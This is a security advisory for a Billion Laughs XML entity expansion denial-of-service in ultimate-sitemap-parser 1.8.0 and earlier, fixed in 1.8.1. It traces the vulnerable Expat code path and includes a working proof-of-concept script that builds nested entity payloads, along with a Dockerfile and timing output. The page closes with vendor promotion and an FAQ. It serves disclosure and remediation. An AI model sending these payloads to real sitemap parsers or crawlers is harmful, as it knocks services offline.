Summary
Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser
Full technical description
XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser
ultimate-sitemap-parser version 1.8.0 and earlier parse attacker-controlled XML content using Python's xml.parsers.expat without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the "Billion Laughs" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required, the vulnerability is exploitable by default through any public-facing use of sitemap_tree_for_homepage() or sitemap_from_str().
Details
The vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:
usp/tree.py:42,sitemap_tree_for_homepage(homepage_url)is the primary public entry point.usp/tree.py:133,sitemap_from_str(content)is the secondary public entry point (also directly reachable from user code).usp/fetch_parse.py:141-145,SitemapFetcher._fetch()retrieves the remote URL content.usp/fetch_parse.py:175, The raw response becomesresponse_content(taint propagation point).usp/fetch_parse.py:441-450,XMLSitemapParser.sitemap()creates an Expat parser and feeds the attacker-controlled content directly to it:
# usp/fetch_parse.py:441-450 , VULNERABLE SINK
parser = xml.parsers.expat.ParserCreate(
namespace_separator=self.__XML_NAMESPACE_SEPARATOR
)
# ... handler assignments ...
parser.Parse(self._content, is_final) # <-- no DTD/entity restriction
A full audit of the usp/ directory confirms that none of the following hardening measures are present:
defusedxmlusage- DOCTYPE rejection
SetParamEntityParsingUseForeignDTDExternalEntityRefHandler
When a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10⁶ expansions), processing time exceeds 20 seconds, effectively hanging the calling process.
PoC
Environment setup:
# Option A: install from PyPI
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
# Option B: Docker (using the provided Dockerfile)
docker build -t vuln-001-usp -f vuln-001/Dockerfile .
docker run --rm vuln-001-usp
Attack payload and execution:
from usp.tree import sitemap_from_str
import time, signal
TIMEOUT = 20
class TimedOut(Exception): pass
def handler(s, f): raise TimedOut()
def build_payload(level):
lines = ['<?xml version="1.0"?>', '<!DOCTYPE x [']
lines.append(' <!ENTITY lol "lol">')
for i in range(1, level + 1):
prev = "lol" if i == 1 else f"lol{i-1}"
expansion = "".join(f"&{prev};" for _ in range(10))
lines.append(f' <!ENTITY lol{i} "{expansion}">')
lines.append(']>')
lines.append('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">')
lines.append(f' <url><loc>http://example.com/&lol{level};</loc></url>')
lines.append('</urlset>')
return "\n".join(lines)
for level in [3, 4, 5, 6]:
signal.signal(signal.SIGALRM, handler)
signal.alarm(TIMEOUT)
t = time.perf_counter()
try:
result = sitemap_from_str(build_payload(level))
elapsed = time.perf_counter() - t
signal.alarm(0)
pages = list(result.all_pages())
url_len = len(pages[0].url) if pages else 0
print(f"Level {level}: {elapsed:.4f}s url_len={url_len:,}")
except TimedOut:
elapsed = time.perf_counter() - t
signal.alarm(0)
print(f"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed")
Expected output (observed during dynamic reproduction):
Level 3 (10^3): 0.0054s url_len=3,019
Level 4 (10^4): 0.0321s url_len=30,019
Level 5 (10^5): 5.2845s url_len=300,019
Level 6 (10^6): TIMEOUT after 20.0011s -- DoS confirmed
Processing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
LABEL description="VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC" \
target="GateNLP/ultimate-sitemap-parser <= 1.8.0" \
cwe="CWE-776"
WORKDIR /app
# Copy the cloned repository first
COPY repo/ /app/repo/
# Install uv_build (required build backend) then install the vulnerable package from the local clone
RUN pip install --no-cache-dir "uv_build>=0.9.6,<0.10.0" && \
pip install --no-cache-dir /app/repo/
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "-u", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: XML Entity Expansion (Billion Laughs) DoS
Affected: GateNLP/ultimate-sitemap-parser <= 1.8.0
CWE-776: Improper Restriction of Recursive Entity References in DTDs
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High)
Sink: usp/fetch_parse.py:450
parser = xml.parsers.expat.ParserCreate(namespace_separator=...)
parser.Parse(self._content, is_final) <- no DTD/entity restriction
Entry: usp.tree.sitemap_from_str(content: str) -> AbstractSitemap
"""
import signal
import sys
import time
from usp.tree import sitemap_from_str
TIMEOUT_SECONDS = 20
DOS_THRESHOLD_SECONDS = 2.0 # level 5 must exceed this to PASS
class TimedOut(Exception):
pass
def _alarm_handler(signum, frame):
raise TimedOut("SIGALRM fired")
def build_billion_laughs_payload(level: int) -> str:
"""Build a Billion Laughs XML payload nested to `level` depth.
Each level multiplies expansion by 10:
level 3 -> 10^3 = 1,000 chars
level 4 -> 10^4 = 10,000 chars
level 5 -> 10^5 = 100,000 chars
level 6 -> 10^6 = 1,000,000 chars
"""
lines = ['<?xml version="1.0"?>', "<!DOCTYPE x ["]
lines.append(' <!ENTITY lol "lol">')
for i in range(1, level + 1):
prev = "lol" if i == 1 else f"lol{i - 1}"
expansion = "".join(f"&{prev};" for _ in range(10))
lines.append(f' <!ENTITY lol{i} "{expansion}">')
lines.append("]>")
lines.append('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">')
lines.append(f" <url><loc>http://example.com/&lol{level};</loc></url>")
lines.append("</urlset>")
return "\n".join(lines)
def parse_with_timeout(payload: str):
"""Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out)."""
signal.signal(signal.SIGALRM, _alarm_handler)
signal.alarm(TIMEOUT_SECONDS)
start = time.perf_counter()
timed_out = False
url_len = 0
try:
result = sitemap_from_str(payload)
elapsed = time.perf_counter() - start
signal.alarm(0)
pages = list(result.all_pages())
if pages:
url_len = len(pages[0].url)
except TimedOut:
elapsed = time.perf_counter() - start
timed_out = True
signal.alarm(0)
except Exception as exc:
elapsed = time.perf_counter() - start
signal.alarm(0)
print(f" [EXCEPTION] {type(exc).__name__}: {exc}", flush=True)
return elapsed, url_len, timed_out
def main() -> int:
print("=" * 64)
print("VULN-001 XML Entity Expansion DoS (Billion Laughs)")
print("Target : GateNLP/ultimate-sitemap-parser <= 1.8.0")
print("Sink : usp/fetch_parse.py:450 parser.Parse(_content)")
print(f"Timeout: {TIMEOUT_SECONDS}s per level")
print("=" * 64)
results = {}
for level in [3, 4, 5, 6]:
theoretical = 10**level
payload = build_billion_laughs_payload(level)
print(
f"\n[*] Level {level}: 10^{level} = {theoretical:>10,} chars "
f"payload_bytes={len(payload)}",
flush=True,
)
elapsed, url_len, timed_out = parse_with_timeout(payload)
results[level] = (elapsed, url_len, timed_out)
if timed_out:
print(
f"[!] Level {level}: TIMED OUT after {elapsed:.1f}s "
f"(>{TIMEOUT_SECONDS}s) -- DoS confirmed",
flush=True,
)
else:
print(
f"[+] Level {level}: completed in {elapsed:.4f}s "
f"url_len={url_len:,}",
flush=True,
)
print("\n" + "=" * 64)
print("TIMING SUMMARY")
print("=" * 64)
for lvl, (elapsed, url_len, timed_out) in results.items():
status = f"TIMEOUT >{TIMEOUT_SECONDS}s" if timed_out else f"{elapsed:.4f}s"
print(f" Level {lvl} (10^{lvl:>1}): {status:>20} url_len={url_len:,}")
print()
# Verdict: level 5 must take >2s or level 6 must time out
lvl5_elapsed, _, lvl5_timed_out = results.get(5, (0, 0, False))
lvl6_elapsed, _, lvl6_timed_out = results.get(6, (0, 0, False))
slow_evidence = lvl5_elapsed > DOS_THRESHOLD_SECONDS or lvl5_timed_out
timeout_evidence = lvl6_timed_out or lvl6_elapsed > DOS_THRESHOLD_SECONDS
if slow_evidence or timeout_evidence:
print("[PASS] DoS CONFIRMED: exponential CPU exhaustion via XML entity expansion")
print(
f" level-5 time={lvl5_elapsed:.4f}s level-6 "
+ ("TIMEOUT" if lvl6_timed_out else f"time={lvl6_elapsed:.4f}s")
)
print("[PASS] CWE-776 Billion Laughs confirmed in ultimate-sitemap-parser <= 1.8.0")
return 0
else:
print("[FAIL] Timing did not show significant slowdown -- DoS not confirmed")
print(f" level-5={lvl5_elapsed:.4f}s level-6={lvl6_elapsed:.4f}s")
print(" (expected level-5 > 2s or level-6 to time out)")
return 1
if __name__ == "__main__":
sys.exit(main())
Impact
This is a Denial-of-Service (DoS) vulnerability via XML Entity Expansion (the "Billion Laughs" / CWE-776 pattern). Any application or service that uses ultimate-sitemap-parser to crawl external or user-supplied URLs is impacted.
Who is affected:
- Web crawlers and indexers that call
sitemap_tree_for_homepage()against arbitrary URLs, a single malicious sitemap server can lock up the crawler process. - CI/CD pipelines and monitoring tools that periodically parse sitemaps as part of automated workflows.
- Any application that passes unvalidated user input to
sitemap_from_str().
Because no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited.
GHSA-P5WC-9W9R-M232 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.8.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-P5WC-9W9R-M232? GHSA-P5WC-9W9R-M232 is a high-severity security vulnerability in ultimate-sitemap-parser (pip), affecting versions <= 1.8.0. It is fixed in 1.8.1.
- How severe is GHSA-P5WC-9W9R-M232? GHSA-P5WC-9W9R-M232 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of ultimate-sitemap-parser are affected by GHSA-P5WC-9W9R-M232? ultimate-sitemap-parser (pip) versions <= 1.8.0 is affected.
- Is there a fix for GHSA-P5WC-9W9R-M232? Yes. GHSA-P5WC-9W9R-M232 is fixed in 1.8.1. Upgrade to this version or later.
- Is GHSA-P5WC-9W9R-M232 exploitable, and should I be worried? Whether GHSA-P5WC-9W9R-M232 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-P5WC-9W9R-M232 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-P5WC-9W9R-M232? Upgrade
ultimate-sitemap-parserto 1.8.1 or later.